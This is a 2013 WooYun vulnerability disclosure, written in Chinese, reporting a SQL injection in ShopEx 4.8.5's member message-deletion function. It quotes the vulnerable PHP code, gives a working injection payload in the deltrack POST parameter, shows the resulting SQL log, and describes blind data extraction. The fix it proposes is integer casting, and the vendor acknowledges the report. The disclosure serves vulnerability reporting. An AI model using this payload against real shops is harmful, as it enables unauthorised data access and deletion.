当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-024555

漏洞标题：shopex注入漏洞#2

相关厂商：ShopEx

漏洞作者： Code_Sec

提交时间：2013-05-26 20:43

修复时间：2013-08-24 20:43

公开时间：2013-08-24 20:43

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-05-26： 细节已通知厂商并且等待厂商处理中
2013-05-26： 厂商已经确认，细节仅向厂商公开
2013-05-29： 细节向第三方安全合作伙伴开放
2013-07-20： 细节向核心白帽子及相关领域专家公开
2013-07-30： 细节向普通白帽子公开
2013-08-09： 细节向实习白帽子公开
2013-08-24： 细节向公众公开

简要描述：

又是sql注入漏洞
测试版本：shopex-singel-4.8.5.78660

详细说明：

文件：\core\shop\controller\ctl.member.php

function delTrackMsg() {
        if(!empty($_POST['deltrack'])){
            $oMsg = &$this->system->loadModel('resources/msgbox');
            $oMsg->delTrackMsg($_POST['deltrack']);
            $this->splash('success', $this->system->mkUrl("member","track"), __('删除成功'));
        }else{
            $this->splash('failed', $this->system->mkUrl("member","track"), __('删除失败: 没有选中任何记录！'));
        }
    }


跟进$oMsg->delTrackMsg($_POST['deltrack']);
在文件：\core\model_v5\resources\mdl.msgbox.php

public function delTrackMsg( $aMsgId )
{
       foreach ( $aMsgId as $val )
       {
				if ( $val )
				{
					$aTmp[] = $val;
				}
		}
		if ( $aTmp )
			{
				$this->db->exec( "DELETE FROM sdb_message WHERE msg_id IN (".implode( ",", $aTmp ).") AND del_status='1'" );
				$this->db->exec( "UPDATE sdb_message SET del_status='2' WHERE msg_id IN (".implode( ",", $aTmp ).")" );
			}
			return true;
}


出现在DELETE语句的sql注入纯粹是体力活，通过是否删除了message作为判断依据慢慢查吧
提交数据包;deltrack[1]=1) and (select count(*) from sdb_operators)=1%23
查看sql执行记录：

130526 20:31:25	  360 Connect	root@localhost on 
		  360 Init DB	shopex
		  360 Query	SET NAMES 'utf8'
		  360 Query	SELECT * FROM sdb_plugins WHERE plugin_type="app"
		  360 Query	select * from sdb_plugins where plugin_type="app" and plugin_ident='commodity_radar' LIMIT 0, 1
		  360 Query	select * from sdb_plugins where plugin_type="app" and plugin_ident='shopex_stat' LIMIT 0, 1
		  360 Query	select member_id,member_lv_id,email,uname,b_year,b_month,b_day,password,unreadmsg,cur,lang,point,experience from sdb_members where member_id=4 LIMIT 0, 1
		  360 Query	SELECT count(*) AS unreadmsg FROM sdb_message WHERE to_type = 0 AND del_status != '1' AND folder = 'inbox' AND unread = '0' AND to_id =4 LIMIT 0, 1
		  360 Query	SELECT plugin_name,plugin_ident FROM sdb_plugins WHERE 1 AND sdb_plugins.disabled = 'false' AND sdb_plugins.plugin_type='app' LIMIT 0, 20
		  360 Query	SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='commodity_radar' LIMIT 0, 1
		  360 Query	SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='shopex_stat' LIMIT 0, 1
		  360 Query	SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='pay_offline' LIMIT 0, 1
		  360 Query	DELETE FROM sdb_message WHERE msg_id IN (1) and (select count(*) from sdb_operators)=1#) AND del_status='1'


执行成功

漏洞证明：

2013-05-26_203646.jpg


因为(select count(*) from sdb_operators)=1，所以msg_id=1的记录被删除。
慢慢猜解吧。。。

修复方案：

intval

版权声明：转载请注明来源 Code_Sec@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2013-05-26 23:18

厂商回复：

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态：

暂无